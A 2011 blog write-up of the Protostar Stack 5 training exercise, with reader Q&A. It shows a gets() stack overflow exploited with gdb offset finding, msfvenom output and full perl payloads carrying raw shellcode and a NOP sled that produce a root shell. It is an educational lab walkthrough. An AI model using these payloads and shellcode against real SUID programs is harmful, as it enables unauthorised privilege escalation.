Saturday, December 17, 2011

Exploit Exercises - Protostar Stack 5

Wow, this challenge was a tough one for me. I ran into some huge problems that I had to work out. Considering this is a "standard buffer overflow", I figured it'd be as easy as some of the others I've done in the past. I'll explain my frustrations inline.

First, we're given the following vulnerable program.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
 char buffer[64];

 gets(buffer);
}
The first task with this challenge was to find the offset of the EIP. Like previous challenges, I used Metasploit's pattern_create.rb and pattern_offset scripts on another machine.
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

user@protostar:/opt/protostar/bin$ gdb --quiet ./stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run
Starting program: /opt/protostar/bin/stack5
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x63413563
76
Now we know that we have 76 characters we could put our shellcode in before the EIP. I was curious to see if we would have any after as well. I wanted to explore a little, so I ran this.
user@protostar:~$ perl -e 'print "A"x76 . "\xEF\xBE\xAD\xDE" . "C"x100' | ./stack5
Segmentation fault (core dumped)

user@protostar:~$ gdb --core=/tmp/core.11.stack5.4174 --quiet
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) x/10s $esp
0xbffff7e0:      'C' <repeats 100 times>
0xbffff845:      "b\377\267\233\333\352\267\364\357\377\267\001"
0xbffff852:      ""
0xbffff853:      ""
0xbffff854:      "\020\203\004\b"
0xbffff859:      ""
0xbffff85a:      ""
0xbffff85b:      ""
0xbffff85c:      "1\203\004\ba\004\b\001"
0xbffff866:      ""
Interestingly enough, it looks like we at least have 100 characters after our return address that we could use to store longer shellcodes. This could come in handy if using shellcodes generated from msfpayload.

So now we know that we can jump to 0xbffff7e0 to get into our C area. Let's pad it with a couple NOPs just in case, and jump to 0xbffff7d6 instead.

Up until now, this was a simple buffer overflow problem. One may even call it a textbook problem. Now here's the part that had me frustrated.

I decided I would try using msfpayload to generate some shellcode like I've done many times in the past. Since I just want to run /bin/sh, I figured it'd be an easy way. I also went through the exercise of finding all the badchars (I'll cover this later, since it doesn't matter here).
msfvenom -p linux/x86/exec -f pl -b '\x0d\x0a\x00\xff' CMD=/bin/sh PrependSetresuid=true
[*] x86/shikata_ga_nai succeeded with size 80 (iteration=1)
my $buf =
"\xdb\xc8\xd9\x74\x24\xf4\xba\x2a\xa1\xa4\x48\x5d\x29\xc9" .
"\xb1\x10\x31\x55\x17\x83\xed\xfc\x03\x7f\xb2\x46\xbd\x4e" .
"\x7d\xb7\xe5\x47\x9e\x08\xbd\x6a\xe1\x03\xb5\x2c\x7b\x81" .
"\xaf\xa4\x56\x45\xb9\xd3\xc1\xa6\xca\x73\x12\xd1\x03\xe1" .
"\x7b\x4f\xd5\x06\x29\x67\xed\xc8\xce\x77\xc1\xaa\xa7\x19" .
"\x32\x59\x50\xe6\x1b\xce\x29\x07\x6e\x70\x18\x13\x1b\x71" .
"\x03\x6e\x5c";
This generated shellcode looked awesome. I configured it to not have any of my badchars, to run "/bin/sh", and to prepend that execution with a setresuid() so that the SUID bit would affect my result, giving me a root shell, instead of just a shell I already had. So I set it all up:
user@protostar:~$ perl -e 'print "A"x76 . "\xd6\xf7\xff\xbf" . "\x90"x16 . "\xdb\xc8\xd9\x74\x24\xf4\xba\x2a\xa1\xa4\x48\x5d\x29\xc9\xb1\x10\x31\x55\x17\x83\xed\xfc\x03\x7f\xb2\x46\xbd\x4e\x7d\xb7\xe5\x47\x9e\x08\xbd\x6a\xe1\x03\xb5\x2c\x7b\x81\xaf\xa4\x56\x45\xb9\xd3\xc1\xa6\xca\x73\x12\xd1\x03\xe1\x7b\x4f\xd5\x06\x29\x67\xed\xc8\xce\x77\xc1\xaa\xa7\x19\x32\x59\x50\xe6\x1b\xce\x29\x07\x6e\x70\x18\x13\x1b\x71\x03\x6e\x5c"' > /home/user/file
user@protostar:~$ /opt/protostar/bin/stack5 < /home/user/file                  
user@protostar:~$
So um, I should have got a shell there right? There was no segmentation fault, it ran cleanly. I tinkered by putting "\xcc" before the shellcode, and it would give me a message letting me know that it hit it. I knew for sure my shellcode was being executed, but no results. To verify, I used gdb:
 
user@protostar:~$ sudo gdb --quiet /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run < /home/user/file
Starting program: /opt/protostar/bin/stack5 < /home/user/file
Executing new program: /bin/dash

Program exited normally.
What this showed me was 2 interesting things. Firstly, I was not aware that many distributions now map /bin/sh to /bin/dash (more info here). Secondly, and more importantly, I knew for sure that my shellcode was executing, and creating the process. I just didn't know why it exited after.

So this is the point that I spent 5 days on and off messing with. I found if I changed the msfvenom command from CMD="/bin/sh" to CMD="touch /tmp/iamawesome", the file would be created with root permissions. Any command that didn't need to return to me for interactive control worked fine. I tried a myriad of other shellcodes, and nothing just gave me a simple shell. I could bind a shell to a TCP port, or run a meterpreter with no problem, but for this challenge, I just wanted a simple rootshell from "execve()".

So one night, I was reading on this, and just happened to get my search query perfect, because I stumbled upon an interesting stackoverflow page, here. This guy was having the same problem as me! And interestingly enough, he mentions problems with programs that use the "gets()" function. This makes sense, as your standard input/output could be configured in a mode just for the function call. Unfortunately, the shellcode that was mentioned was hosted at milw0rm, which has been down for a good long time. Many sites, such as Exploit-Db have popped up to fill the void that milw0rm left. However, they use a completely different url structure, so I had no idea what the shellcode was. Well, I used the Internet Way-Back Machine, and found an old cache of milw0rm. From there, I found the shellcode. I also found that Exploit-Db has it here as well. I read through the description of the shellcode, and it makes tons of sense. So I wire it up to try again, this time with the new shellcode.
user@protostar:~$ perl -e 'print "A"x76 . "\xd6\xf7\xff\xbf" . "\x90"x16 . "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > /home/user/file
user@protostar:~$ /opt/protostar/bin/stack5 < /home/user/file                   
# whoami
root
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Awesome. I have a root shell. I guess it's also worth pointing out that since we are specifically jumping to a memory address in our exploit, that memory addresses can change based on how you call it. The address will be different if I call ./stack5 from inside the /opt/protostar/bin folder, than if I use the full path. Since I was using gdb, and it calls files using the full path, I did it as well for the exploit. For now, we have not yet covered how to dynamically get that value. That will be for a later post.

12 comments:

  1. This is by far more challenging than the previous levels..I'd like to know a couple of things, do you mind? First of all you run this:

    ...$perl -e 'print "A"x76 . "\xEF\xBE\xAD\xDE" . "C"x100' | ./stack5

    Why do you use that address? I mean as far as I understood is the address of your shellcode, but where did you get that address from? (how do you know that your shellcode relies exactly there?)

    ReplyDelete
    Replies
    1. I used that address simply as a placeholder. If you see it in the EIP, it will spell out "DEADBEEF". You could use anything you want, it's just a common one to use.

      Alternatively, I sometimes see people do:
      perl -e 'print "A"x76 . "B"x4 . "C"x100'

      In the EIP overwrite then, you're hoping to see "42424242".

      Delete
  2. fair enough so far, then you run:

    msfvenom -p linux/x86/exec -f pl -b '\x0d\x0a\x00\xff' CMD=/bin/sh PrependSetresuid=true

    in order to get the suitable shellcode (btw I got a different shellcode using the same commands, is this right?)
    What if I should get the SGID (instead suid)? I guess something like PrependSetresgid=true ain't gonna work..

    ReplyDelete
    Replies
    1. It is quite likely that you will get different shellcode, as the logic that creates it has a bit of randomness to it. Try generating the shellcode 3-4 times, and you'll probably get different results each time.

      The options for the payload can be found here: http://www.metasploit.com/modules/payload/linux/x86/exec

      PrependSetresgid would not work.

      Delete
  3. For what NOP padding needs? (It would be great if you give me some links or "verbose" explanation)

    I did some tests, and here results (without NOP's):
    stack5 under gdb: works fine (but because stack5 has SUID bit - gdb is not helps here)
    stack5 without gdb: Segmentation fault

    I reading something about adjust, but (0xbffff7e0 % 4 = 0)

    ReplyDelete
    Replies
    1. The NOPS are there, because after the EIP, there will be pointers to the return address, or other stack pointers. I put in 16x NOPs to make sure that I was past all that.

      Please remember, that when in gdb, your stack addresses won't be the same, because it adds a couple extra variables to your environment if you're running it live. That's why I prefer to use core dumps over live gdb sessions often times.

      Delete
    2. I don't understand you explanation.

      Because here what I think:
      We can't change EIP using buffer overflow, we just changing return address, that push to the stack.
      Also what pointers to the return address could be after return address from main?
      And as for the 'other stack pointers', why when we change address of stack pointer to NOP it's okay?

      Delete
    3. Changing the EIP using a buffer overflow is exactly what this is doing.

      The stack will look like this:
      [76 bytes of junk][EIP][16x NOPs][shellcode]

      The EIP contains an address that the program will try to execute next. We could put the address to [shellcode] in there, but quite often it's considered normal practice to use some NOPs to deal with any alignment issues at this point, as well as any extra bytes after the EIP, even though in this case there is nothing between the EIP and stack. So I return somewhere in the middle of the NOPs as my EIP.

      So then when the buffer overflow occurs, it tries to run EIP, which has been overwritten with the NOP sled address. It does a few NOPs, then eventually hits the shellcode and starts to execute.

      You could probably remove the NOPs if you wanted in this case, but I've worked on others where it is very much needed, so it was out of habit.

      Delete
    4. Matt, thanks for explanation.

      I meant that we NOT change EIP directly, we just change stored EIP in the stack, and after "gets" executed, it returns to your shellcode

      Delete
    5. Ah I understand now. Yes, we change it via the value we overwrite in the stack. The "gets" execution causes the buffer overflow, and we can then control execution from there.

      Delete
  4. Hi,
    Didn't you run into the problem of core file not being dumped? I first got this and solved with
    echo 2 >/proc/sys/fs/suid_dumpable
    But then the core file is not readable by user, only by root (http://www.linuxinsight.com/proc_sys_fs_suid_dumpable.html) so we can't get the correct address where shellcode begins ('C' x 100 times) by debugging the core.
    A small brute forcer for the last 2 bytes of the address I think it would work.
    How did you deal with this?

    ReplyDelete
    Replies
    1. In essence of the VM, I used the root password to view the dumps often times. The challenge was to understand how the exploitation worked, not do everything blind. When talking with people, this seemed to be a valid approach.

      Delete

Popular

Recent

Comments